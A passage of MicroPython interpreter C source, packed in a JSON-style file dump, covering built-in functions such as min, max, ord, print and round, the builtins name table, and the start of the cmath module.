mp_builtin_input(size_t n_args, const mp_obj_t *args) {\n    if (n_args == 1) {\n        mp_obj_print(args[0], PRINT_STR);\n    }\n    vstr_t line;\n    vstr_init(&line, 16);\n    int ret = mp_hal_readline(&line, \"\");\n    if (ret == CHAR_CTRL_C) {\n        nlr_raise(mp_obj_new_exception(&mp_type_KeyboardInterrupt));\n    }\n    if (line.len == 0 && ret == CHAR_CTRL_D) {\n        nlr_raise(mp_obj_new_exception(&mp_type_EOFError));\n    }\n    return mp_obj_new_str_from_vstr(&mp_type_str, &line);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_input_obj, 0, 1, mp_builtin_input);\n\n#endif\n\nSTATIC mp_obj_t mp_builtin_iter(mp_obj_t o_in) {\n    return mp_getiter(o_in, NULL);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_iter_obj, mp_builtin_iter);\n\n#if MICROPY_PY_BUILTINS_MIN_MAX\n\nSTATIC mp_obj_t mp_builtin_min_max(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs, mp_uint_t op) {\n    mp_map_elem_t *key_elem = mp_map_lookup(kwargs, MP_OBJ_NEW_QSTR(MP_QSTR_key), MP_MAP_LOOKUP);\n    mp_map_elem_t *default_elem;\n    mp_obj_t key_fn = key_elem == NULL ? MP_OBJ_NULL : key_elem->value;\n    if (n_args == 1) {\n        // given an iterable\n        mp_obj_iter_buf_t iter_buf;\n        mp_obj_t iterable = mp_getiter(args[0], &iter_buf);\n        mp_obj_t best_key = MP_OBJ_NULL;\n        mp_obj_t best_obj = MP_OBJ_NULL;\n        mp_obj_t item;\n        while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) {\n            mp_obj_t key = key_fn == MP_OBJ_NULL ? item : mp_call_function_1(key_fn, item);\n            if (best_obj == MP_OBJ_NULL || (mp_binary_op(op, key, best_key) == mp_const_true)) {\n                best_key = key;\n                best_obj = item;\n            }\n        }\n        if (best_obj == MP_OBJ_NULL) {\n            default_elem = mp_map_lookup(kwargs, MP_OBJ_NEW_QSTR(MP_QSTR_default), MP_MAP_LOOKUP);\n            if (default_elem != NULL) {\n                best_obj = default_elem->value;\n            } else {\n                mp_raise_ValueError(\"arg is an empty sequence\");\n            }\n        }\n        return best_obj;\n    } else {\n        // given many args\n        mp_obj_t best_key = MP_OBJ_NULL;\n        mp_obj_t best_obj = MP_OBJ_NULL;\n        for (size_t i = 0; i < n_args; i++) {\n            mp_obj_t key = key_fn == MP_OBJ_NULL ? args[i] : mp_call_function_1(key_fn, args[i]);\n            if (best_obj == MP_OBJ_NULL || (mp_binary_op(op, key, best_key) == mp_const_true)) {\n                best_key = key;\n                best_obj = args[i];\n            }\n        }\n        return best_obj;\n    }\n}\n\nSTATIC mp_obj_t mp_builtin_max(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) {\n    return mp_builtin_min_max(n_args, args, kwargs, MP_BINARY_OP_MORE);\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(mp_builtin_max_obj, 1, mp_builtin_max);\n\nSTATIC mp_obj_t mp_builtin_min(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) {\n    return mp_builtin_min_max(n_args, args, kwargs, MP_BINARY_OP_LESS);\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(mp_builtin_min_obj, 1, mp_builtin_min);\n\n#endif\n\nSTATIC mp_obj_t mp_builtin_next(mp_obj_t o) {\n    mp_obj_t ret = mp_iternext_allow_raise(o);\n    if (ret == MP_OBJ_STOP_ITERATION) {\n        nlr_raise(mp_obj_new_exception(&mp_type_StopIteration));\n    } else {\n        return ret;\n    }\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_next_obj, mp_builtin_next);\n\nSTATIC mp_obj_t mp_builtin_oct(mp_obj_t o_in) {\n    return mp_binary_op(MP_BINARY_OP_MODULO, MP_OBJ_NEW_QSTR(MP_QSTR__percent__hash_o), o_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_oct_obj, mp_builtin_oct);\n\nSTATIC mp_obj_t mp_builtin_ord(mp_obj_t o_in) {\n    size_t len;\n    const char *str = mp_obj_str_get_data(o_in, &len);\n    #if MICROPY_PY_BUILTINS_STR_UNICODE\n    if (MP_OBJ_IS_STR(o_in)) {\n        len = unichar_charlen(str, len);\n        if (len == 1) {\n            if (!UTF8_IS_NONASCII(*str)) {\n                goto return_first_byte;\n            }\n            mp_int_t ord = *str++ & 0x7F;\n            for (mp_int_t mask = 0x40; ord & mask; mask >>= 1) {\n                ord &= ~mask;\n            }\n            while (UTF8_IS_CONT(*str)) {\n                ord = (ord << 6) | (*str++ & 0x3F);\n            }\n            return mp_obj_new_int(ord);\n        }\n    } else {\n        // a bytes object\n        if (len == 1) {\n        return_first_byte:\n            return MP_OBJ_NEW_SMALL_INT(((const byte*)str)[0]);\n        }\n    }\n    #else\n    if (len == 1) {\n        // don't sign extend when converting to ord\n        return mp_obj_new_int(((const byte*)str)[0]);\n    }\n    #endif\n\n    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n        mp_raise_TypeError(\"ord expects a character\");\n    } else {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n            \"ord() expected a character, but string of length %d found\", (int)len));\n    }\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_ord_obj, mp_builtin_ord);\n\nSTATIC mp_obj_t mp_builtin_pow(size_t n_args, const mp_obj_t *args) {\n    switch (n_args) {\n        case 2: return mp_binary_op(MP_BINARY_OP_POWER, args[0], args[1]);\n        default:\n#if !MICROPY_PY_BUILTINS_POW3\n            mp_raise_msg(&mp_type_NotImplementedError, \"3-arg pow() not supported\");\n#elif MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_MPZ\n            return mp_binary_op(MP_BINARY_OP_MODULO, mp_binary_op(MP_BINARY_OP_POWER, args[0], args[1]), args[2]);\n#else\n            return mp_obj_int_pow3(args[0], args[1], args[2]);\n#endif\n    }\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_pow_obj, 2, 3, mp_builtin_pow);\n\nSTATIC mp_obj_t mp_builtin_print(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) {\n    mp_map_elem_t *sep_elem = mp_map_lookup(kwargs, MP_OBJ_NEW_QSTR(MP_QSTR_sep), MP_MAP_LOOKUP);\n    mp_map_elem_t *end_elem = mp_map_lookup(kwargs, MP_OBJ_NEW_QSTR(MP_QSTR_end), MP_MAP_LOOKUP);\n    const char *sep_data = \" \";\n    size_t sep_len = 1;\n    const char *end_data = \"\\n\";\n    size_t end_len = 1;\n    if (sep_elem != NULL && sep_elem->value != mp_const_none) {\n        sep_data = mp_obj_str_get_data(sep_elem->value, &sep_len);\n    }\n    if (end_elem != NULL && end_elem->value != mp_const_none) {\n        end_data = mp_obj_str_get_data(end_elem->value, &end_len);\n    }\n    #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES\n    void *stream_obj = &mp_sys_stdout_obj;\n    mp_map_elem_t *file_elem = mp_map_lookup(kwargs, MP_OBJ_NEW_QSTR(MP_QSTR_file), MP_MAP_LOOKUP);\n    if (file_elem != NULL && file_elem->value != mp_const_none) {\n        stream_obj = MP_OBJ_TO_PTR(file_elem->value); // XXX may not be a concrete object\n    }\n\n    mp_print_t print = {stream_obj, mp_stream_write_adaptor};\n    #endif\n    for (size_t i = 0; i < n_args; i++) {\n        if (i > 0) {\n            #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES\n            mp_stream_write_adaptor(stream_obj, sep_data, sep_len);\n            #else\n            mp_print_strn(&mp_plat_print, sep_data, sep_len, 0, 0, 0);\n            #endif\n        }\n        #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES\n        mp_obj_print_helper(&print, args[i], PRINT_STR);\n        #else\n        mp_obj_print_helper(&mp_plat_print, args[i], PRINT_STR);\n        #endif\n    }\n    #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES\n    mp_stream_write_adaptor(stream_obj, end_data, end_len);\n    #else\n    mp_print_strn(&mp_plat_print, end_data, end_len, 0, 0, 0);\n    #endif\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(mp_builtin_print_obj, 0, mp_builtin_print);\n\nSTATIC mp_obj_t mp_builtin___repl_print__(mp_obj_t o) {\n    if (o != mp_const_none) {\n        mp_obj_print_helper(MP_PYTHON_PRINTER, o, PRINT_REPR);\n        mp_print_str(MP_PYTHON_PRINTER, \"\\n\");\n        #if MICROPY_CAN_OVERRIDE_BUILTINS\n        // Set \"_\" special variable\n        mp_obj_t dest[2] = {MP_OBJ_SENTINEL, o};\n        mp_type_module.attr(MP_OBJ_FROM_PTR(&mp_module_builtins), MP_QSTR__, dest);\n        #endif\n    }\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin___repl_print___obj, mp_builtin___repl_print__);\n\nSTATIC mp_obj_t mp_builtin_repr(mp_obj_t o_in) {\n    vstr_t vstr;\n    mp_print_t print;\n    vstr_init_print(&vstr, 16, &print);\n    mp_obj_print_helper(&print, o_in, PRINT_REPR);\n    return mp_obj_new_str_from_vstr(&mp_type_str, &vstr);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_repr_obj, mp_builtin_repr);\n\nSTATIC mp_obj_t mp_builtin_round(size_t n_args, const mp_obj_t *args) {\n    mp_obj_t o_in = args[0];\n    if (MP_OBJ_IS_INT(o_in)) {\n        return o_in;\n    }\n#if MICROPY_PY_BUILTINS_FLOAT\n    mp_int_t num_dig = 0;\n    if (n_args > 1) {\n        num_dig = mp_obj_get_int(args[1]);\n        mp_float_t val = mp_obj_get_float(o_in);\n        mp_float_t mult = MICROPY_FLOAT_C_FUN(pow)(10, num_dig);\n        // TODO may lead to overflow\n        mp_float_t rounded = MICROPY_FLOAT_C_FUN(nearbyint)(val * mult) / mult;\n        return mp_obj_new_float(rounded);\n    }\n    mp_float_t val = mp_obj_get_float(o_in);\n    mp_float_t rounded = MICROPY_FLOAT_C_FUN(nearbyint)(val);\n    return mp_obj_new_int_from_float(rounded);\n#else\n    mp_int_t r = mp_obj_get_int(o_in);\n    return mp_obj_new_int(r);\n#endif\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_round_obj, 1, 2, mp_builtin_round);\n\nSTATIC mp_obj_t mp_builtin_sum(size_t n_args, const mp_obj_t *args) {\n    mp_obj_t value;\n    switch (n_args) {\n        case 1: value = MP_OBJ_NEW_SMALL_INT(0); break;\n        default: value = args[1]; break;\n    }\n    mp_obj_iter_buf_t iter_buf;\n    mp_obj_t iterable = mp_getiter(args[0], &iter_buf);\n    mp_obj_t item;\n    while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) {\n        value = mp_binary_op(MP_BINARY_OP_ADD, value, item);\n    }\n    return value;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_sum_obj, 1, 2, mp_builtin_sum);\n\nSTATIC mp_obj_t mp_builtin_sorted(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) {\n    if (n_args > 1) {\n        mp_raise_TypeError(\"must use keyword argument for key function\");\n    }\n    mp_obj_t self = mp_type_list.make_new(&mp_type_list, 1, 0, args);\n    mp_obj_list_sort(1, &self, kwargs);\n\n    return self;\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(mp_builtin_sorted_obj, 1, mp_builtin_sorted);\n\n// See mp_load_attr() if making any changes\nstatic inline mp_obj_t mp_load_attr_default(mp_obj_t base, qstr attr, mp_obj_t defval) {\n    mp_obj_t dest[2];\n    // use load_method, raising or not raising exception\n    ((defval == MP_OBJ_NULL) ? mp_load_method : mp_load_method_maybe)(base, attr, dest);\n    if (dest[0] == MP_OBJ_NULL) {\n        return defval;\n    } else if (dest[1] == MP_OBJ_NULL) {\n        // load_method returned just a normal attribute\n        return dest[0];\n    } else {\n        // load_method returned a method, so build a bound method object\n        return mp_obj_new_bound_meth(dest[0], dest[1]);\n    }\n}\n\nSTATIC mp_obj_t mp_builtin_getattr(size_t n_args, const mp_obj_t *args) {\n    mp_obj_t defval = MP_OBJ_NULL;\n    if (n_args > 2) {\n        defval = args[2];\n    }\n    return mp_load_attr_default(args[0], mp_obj_str_get_qstr(args[1]), defval);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_getattr_obj, 2, 3, mp_builtin_getattr);\n\nSTATIC mp_obj_t mp_builtin_setattr(mp_obj_t base, mp_obj_t attr, mp_obj_t value) {\n    mp_store_attr(base, mp_obj_str_get_qstr(attr), value);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_3(mp_builtin_setattr_obj, mp_builtin_setattr);\n\n#if MICROPY_CPYTHON_COMPAT\nSTATIC mp_obj_t mp_builtin_delattr(mp_obj_t base, mp_obj_t attr) {\n    return mp_builtin_setattr(base, attr, MP_OBJ_NULL);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(mp_builtin_delattr_obj, mp_builtin_delattr);\n#endif\n\nSTATIC mp_obj_t mp_builtin_hasattr(mp_obj_t object_in, mp_obj_t attr_in) {\n    qstr attr = mp_obj_str_get_qstr(attr_in);\n\n    mp_obj_t dest[2];\n    // TODO: https://docs.python.org/3/library/functions.html?highlight=hasattr#hasattr\n    // explicitly says \"This is implemented by calling getattr(object, name) and seeing\n    // whether it raises an AttributeError or not.\", so we should explicitly wrap this\n    // in nlr_push and handle exception.\n    mp_load_method_maybe(object_in, attr, dest);\n\n    return mp_obj_new_bool(dest[0] != MP_OBJ_NULL);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(mp_builtin_hasattr_obj, mp_builtin_hasattr);\n\nSTATIC mp_obj_t mp_builtin_globals(void) {\n    return MP_OBJ_FROM_PTR(mp_globals_get());\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mp_builtin_globals_obj, mp_builtin_globals);\n\nSTATIC mp_obj_t mp_builtin_locals(void) {\n    return MP_OBJ_FROM_PTR(mp_locals_get());\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mp_builtin_locals_obj, mp_builtin_locals);\n\n// These are defined in terms of MicroPython API functions right away\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_id_obj, mp_obj_id);\nMP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_len_obj, mp_obj_len);\n\nSTATIC const mp_rom_map_elem_t mp_module_builtins_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_builtins) },\n\n    // built-in core functions\n    { MP_ROM_QSTR(MP_QSTR___build_class__), MP_ROM_PTR(&mp_builtin___build_class___obj) },\n    { MP_ROM_QSTR(MP_QSTR___import__), MP_ROM_PTR(&mp_builtin___import___obj) },\n    { MP_ROM_QSTR(MP_QSTR___repl_print__), MP_ROM_PTR(&mp_builtin___repl_print___obj) },\n\n    // built-in types\n    { MP_ROM_QSTR(MP_QSTR_bool), MP_ROM_PTR(&mp_type_bool) },\n    { MP_ROM_QSTR(MP_QSTR_bytes), MP_ROM_PTR(&mp_type_bytes) },\n    #if MICROPY_PY_BUILTINS_BYTEARRAY\n    { MP_ROM_QSTR(MP_QSTR_bytearray), MP_ROM_PTR(&mp_type_bytearray) },\n    #endif\n    #if MICROPY_PY_BUILTINS_COMPLEX\n    { MP_ROM_QSTR(MP_QSTR_complex), MP_ROM_PTR(&mp_type_complex) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_dict), MP_ROM_PTR(&mp_type_dict) },\n    #if MICROPY_PY_BUILTINS_ENUMERATE\n    { MP_ROM_QSTR(MP_QSTR_enumerate), MP_ROM_PTR(&mp_type_enumerate) },\n    #endif\n    #if MICROPY_PY_BUILTINS_FILTER\n    { MP_ROM_QSTR(MP_QSTR_filter), MP_ROM_PTR(&mp_type_filter) },\n    #endif\n    #if MICROPY_PY_BUILTINS_FLOAT\n    { MP_ROM_QSTR(MP_QSTR_float), MP_ROM_PTR(&mp_type_float) },\n    #endif\n    #if MICROPY_PY_BUILTINS_SET && MICROPY_PY_BUILTINS_FROZENSET\n    { MP_ROM_QSTR(MP_QSTR_frozenset), MP_ROM_PTR(&mp_type_frozenset) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_int), MP_ROM_PTR(&mp_type_int) },\n    { MP_ROM_QSTR(MP_QSTR_list), MP_ROM_PTR(&mp_type_list) },\n    { MP_ROM_QSTR(MP_QSTR_map), MP_ROM_PTR(&mp_type_map) },\n    #if MICROPY_PY_BUILTINS_MEMORYVIEW\n    { MP_ROM_QSTR(MP_QSTR_memoryview), MP_ROM_PTR(&mp_type_memoryview) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_object), MP_ROM_PTR(&mp_type_object) },\n    #if MICROPY_PY_BUILTINS_PROPERTY\n    { MP_ROM_QSTR(MP_QSTR_property), MP_ROM_PTR(&mp_type_property) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_range), MP_ROM_PTR(&mp_type_range) },\n    #if MICROPY_PY_BUILTINS_REVERSED\n    { MP_ROM_QSTR(MP_QSTR_reversed), MP_ROM_PTR(&mp_type_reversed) },\n    #endif\n    #if MICROPY_PY_BUILTINS_SET\n    { MP_ROM_QSTR(MP_QSTR_set), MP_ROM_PTR(&mp_type_set) },\n    #endif\n    #if MICROPY_PY_BUILTINS_SLICE\n    { MP_ROM_QSTR(MP_QSTR_slice), MP_ROM_PTR(&mp_type_slice) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_str), MP_ROM_PTR(&mp_type_str) },\n    { MP_ROM_QSTR(MP_QSTR_super), MP_ROM_PTR(&mp_type_super) },\n    { MP_ROM_QSTR(MP_QSTR_tuple), MP_ROM_PTR(&mp_type_tuple) },\n    { MP_ROM_QSTR(MP_QSTR_type), MP_ROM_PTR(&mp_type_type) },\n    { MP_ROM_QSTR(MP_QSTR_zip), MP_ROM_PTR(&mp_type_zip) },\n\n    { MP_ROM_QSTR(MP_QSTR_classmethod), MP_ROM_PTR(&mp_type_classmethod) },\n    { MP_ROM_QSTR(MP_QSTR_staticmethod), MP_ROM_PTR(&mp_type_staticmethod) },\n\n    // built-in objects\n    { MP_ROM_QSTR(MP_QSTR_Ellipsis), MP_ROM_PTR(&mp_const_ellipsis_obj) },\n    #if MICROPY_PY_BUILTINS_NOTIMPLEMENTED\n    { MP_ROM_QSTR(MP_QSTR_NotImplemented), MP_ROM_PTR(&mp_const_notimplemented_obj) },\n    #endif\n\n    // built-in user functions\n    { MP_ROM_QSTR(MP_QSTR_abs), MP_ROM_PTR(&mp_builtin_abs_obj) },\n    { MP_ROM_QSTR(MP_QSTR_all), MP_ROM_PTR(&mp_builtin_all_obj) },\n    { MP_ROM_QSTR(MP_QSTR_any), MP_ROM_PTR(&mp_builtin_any_obj) },\n    { MP_ROM_QSTR(MP_QSTR_bin), MP_ROM_PTR(&mp_builtin_bin_obj) },\n    { MP_ROM_QSTR(MP_QSTR_callable), MP_ROM_PTR(&mp_builtin_callable_obj) },\n    #if MICROPY_PY_BUILTINS_COMPILE\n    { MP_ROM_QSTR(MP_QSTR_compile), MP_ROM_PTR(&mp_builtin_compile_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_chr), MP_ROM_PTR(&mp_builtin_chr_obj) },\n    #if MICROPY_CPYTHON_COMPAT\n    { MP_ROM_QSTR(MP_QSTR_delattr), MP_ROM_PTR(&mp_builtin_delattr_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_dir), MP_ROM_PTR(&mp_builtin_dir_obj) },\n    { MP_ROM_QSTR(MP_QSTR_divmod), MP_ROM_PTR(&mp_builtin_divmod_obj) },\n    #if MICROPY_PY_BUILTINS_EVAL_EXEC\n    { MP_ROM_QSTR(MP_QSTR_eval), MP_ROM_PTR(&mp_builtin_eval_obj) },\n    { MP_ROM_QSTR(MP_QSTR_exec), MP_ROM_PTR(&mp_builtin_exec_obj) },\n    #endif\n    #if MICROPY_PY_BUILTINS_EXECFILE\n    { MP_ROM_QSTR(MP_QSTR_execfile), MP_ROM_PTR(&mp_builtin_execfile_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_getattr), MP_ROM_PTR(&mp_builtin_getattr_obj) },\n    { MP_ROM_QSTR(MP_QSTR_setattr), MP_ROM_PTR(&mp_builtin_setattr_obj) },\n    { MP_ROM_QSTR(MP_QSTR_globals), MP_ROM_PTR(&mp_builtin_globals_obj) },\n    { MP_ROM_QSTR(MP_QSTR_hasattr), MP_ROM_PTR(&mp_builtin_hasattr_obj) },\n    { MP_ROM_QSTR(MP_QSTR_hash), MP_ROM_PTR(&mp_builtin_hash_obj) },\n    #if MICROPY_PY_BUILTINS_HELP\n    { MP_ROM_QSTR(MP_QSTR_help), MP_ROM_PTR(&mp_builtin_help_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_hex), MP_ROM_PTR(&mp_builtin_hex_obj) },\n    { MP_ROM_QSTR(MP_QSTR_id), MP_ROM_PTR(&mp_builtin_id_obj) },\n    #if MICROPY_PY_BUILTINS_INPUT\n    { MP_ROM_QSTR(MP_QSTR_input), MP_ROM_PTR(&mp_builtin_input_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_isinstance), MP_ROM_PTR(&mp_builtin_isinstance_obj) },\n    { MP_ROM_QSTR(MP_QSTR_issubclass), MP_ROM_PTR(&mp_builtin_issubclass_obj) },\n    { MP_ROM_QSTR(MP_QSTR_iter), MP_ROM_PTR(&mp_builtin_iter_obj) },\n    { MP_ROM_QSTR(MP_QSTR_len), MP_ROM_PTR(&mp_builtin_len_obj) },\n    { MP_ROM_QSTR(MP_QSTR_locals), MP_ROM_PTR(&mp_builtin_locals_obj) },\n    #if MICROPY_PY_BUILTINS_MIN_MAX\n    { MP_ROM_QSTR(MP_QSTR_max), MP_ROM_PTR(&mp_builtin_max_obj) },\n    { MP_ROM_QSTR(MP_QSTR_min), MP_ROM_PTR(&mp_builtin_min_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_next), MP_ROM_PTR(&mp_builtin_next_obj) },\n    { MP_ROM_QSTR(MP_QSTR_oct), MP_ROM_PTR(&mp_builtin_oct_obj) },\n    { MP_ROM_QSTR(MP_QSTR_ord), MP_ROM_PTR(&mp_builtin_ord_obj) },\n    { MP_ROM_QSTR(MP_QSTR_pow), MP_ROM_PTR(&mp_builtin_pow_obj) },\n    { MP_ROM_QSTR(MP_QSTR_print), MP_ROM_PTR(&mp_builtin_print_obj) },\n    { MP_ROM_QSTR(MP_QSTR_repr), MP_ROM_PTR(&mp_builtin_repr_obj) },\n    { MP_ROM_QSTR(MP_QSTR_round), MP_ROM_PTR(&mp_builtin_round_obj) },\n    { MP_ROM_QSTR(MP_QSTR_sorted), MP_ROM_PTR(&mp_builtin_sorted_obj) },\n    { MP_ROM_QSTR(MP_QSTR_sum), MP_ROM_PTR(&mp_builtin_sum_obj) },\n\n    // built-in exceptions\n    { MP_ROM_QSTR(MP_QSTR_BaseException), MP_ROM_PTR(&mp_type_BaseException) },\n    { MP_ROM_QSTR(MP_QSTR_ArithmeticError), MP_ROM_PTR(&mp_type_ArithmeticError) },\n    { MP_ROM_QSTR(MP_QSTR_AssertionError), MP_ROM_PTR(&mp_type_AssertionError) },\n    { MP_ROM_QSTR(MP_QSTR_AttributeError), MP_ROM_PTR(&mp_type_AttributeError) },\n    { MP_ROM_QSTR(MP_QSTR_EOFError), MP_ROM_PTR(&mp_type_EOFError) },\n    { MP_ROM_QSTR(MP_QSTR_Exception), MP_ROM_PTR(&mp_type_Exception) },\n    { MP_ROM_QSTR(MP_QSTR_GeneratorExit), MP_ROM_PTR(&mp_type_GeneratorExit) },\n    { MP_ROM_QSTR(MP_QSTR_ImportError), MP_ROM_PTR(&mp_type_ImportError) },\n    { MP_ROM_QSTR(MP_QSTR_IndentationError), MP_ROM_PTR(&mp_type_IndentationError) },\n    { MP_ROM_QSTR(MP_QSTR_IndexError), MP_ROM_PTR(&mp_type_IndexError) },\n    { MP_ROM_QSTR(MP_QSTR_KeyboardInterrupt), MP_ROM_PTR(&mp_type_KeyboardInterrupt) },\n    { MP_ROM_QSTR(MP_QSTR_KeyError), MP_ROM_PTR(&mp_type_KeyError) },\n    { MP_ROM_QSTR(MP_QSTR_LookupError), MP_ROM_PTR(&mp_type_LookupError) },\n    { MP_ROM_QSTR(MP_QSTR_MemoryError), MP_ROM_PTR(&mp_type_MemoryError) },\n    { MP_ROM_QSTR(MP_QSTR_NameError), MP_ROM_PTR(&mp_type_NameError) },\n    { MP_ROM_QSTR(MP_QSTR_NotImplementedError), MP_ROM_PTR(&mp_type_NotImplementedError) },\n    { MP_ROM_QSTR(MP_QSTR_OSError), MP_ROM_PTR(&mp_type_OSError) },\n    { MP_ROM_QSTR(MP_QSTR_OverflowError), MP_ROM_PTR(&mp_type_OverflowError) },\n    { MP_ROM_QSTR(MP_QSTR_RuntimeError), MP_ROM_PTR(&mp_type_RuntimeError) },\n    #if MICROPY_PY_ASYNC_AWAIT\n    { MP_ROM_QSTR(MP_QSTR_StopAsyncIteration), MP_ROM_PTR(&mp_type_StopAsyncIteration) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_StopIteration), MP_ROM_PTR(&mp_type_StopIteration) },\n    { MP_ROM_QSTR(MP_QSTR_SyntaxError), MP_ROM_PTR(&mp_type_SyntaxError) },\n    { MP_ROM_QSTR(MP_QSTR_SystemExit), MP_ROM_PTR(&mp_type_SystemExit) },\n    { MP_ROM_QSTR(MP_QSTR_TypeError), MP_ROM_PTR(&mp_type_TypeError) },\n    #if MICROPY_PY_BUILTINS_STR_UNICODE\n    { MP_ROM_QSTR(MP_QSTR_UnicodeError), MP_ROM_PTR(&mp_type_UnicodeError) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_ValueError), MP_ROM_PTR(&mp_type_ValueError) },\n    #if MICROPY_EMIT_NATIVE\n    { MP_ROM_QSTR(MP_QSTR_ViperTypeError), MP_ROM_PTR(&mp_type_ViperTypeError) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_ZeroDivisionError), MP_ROM_PTR(&mp_type_ZeroDivisionError) },\n    // Somehow CPython managed to have OverflowError not inherit from ValueError ;-/\n    // TODO: For MICROPY_CPYTHON_COMPAT==0 use ValueError to avoid exc proliferation\n\n    // Extra builtins as defined by a port\n    MICROPY_PORT_BUILTINS\n};\n\nMP_DEFINE_CONST_DICT(mp_module_builtins_globals, mp_module_builtins_globals_table);\n\nconst mp_obj_module_t mp_module_builtins = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_builtins_globals,\n};\n"
  },
  {
    "path": "micropython/source/py/modcmath.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/builtin.h\"\n\n#if MICROPY_PY_BUILTINS_FLOAT && MICROPY_PY_BUILTINS_COMPLEX && MICROPY_PY_CMATH\n\n#include <math.h>\n\n/// \\module cmath - mathematical functions for complex numbers\n///\n/// The `cmath` module provides some basic mathematical funtions for\n/// working with complex numbers.\n\n/// \\function phase(z)\n/// Returns the phase of the number `z`, in the range (-pi, +pi].\nSTATIC mp_obj_t mp_cmath_phase(mp_obj_t z_obj) {\n    mp_float_t real, imag;\n    mp_obj_get_complex(z_obj, &real, &imag);\n    return mp_obj_new_float(MICROPY_FLOAT_C_FUN(atan2)(imag, real));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_phase_obj, mp_cmath_phase);\n\n/// \\function polar(z)\n/// Returns, as a tuple, the polar form of `z`.\nSTATIC mp_obj_t mp_cmath_polar(mp_obj_t z_obj) {\n    mp_float_t real, imag;\n    mp_obj_get_complex(z_obj, &real, &imag);\n    mp_obj_t tuple[2] = {\n        mp_obj_new_float(MICROPY_FLOAT_C_FUN(sqrt)(real*real + imag*imag)),\n        mp_obj_new_float(MICROPY_FLOAT_C_FUN(atan2)(imag, real)),\n    };\n    return mp_obj_new_tuple(2, tuple);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_polar_obj, mp_cmath_polar);\n\n/// \\function rect(r, phi)\n/// Returns the complex number with modulus `r` and phase `phi`.\nSTATIC mp_obj_t mp_cmath_rect(mp_obj_t r_obj, mp_obj_t phi_obj) {\n    mp_float_t r = mp_obj_get_float(r_obj);\n    mp_float_t phi = mp_obj_get_float(phi_obj);\n    return 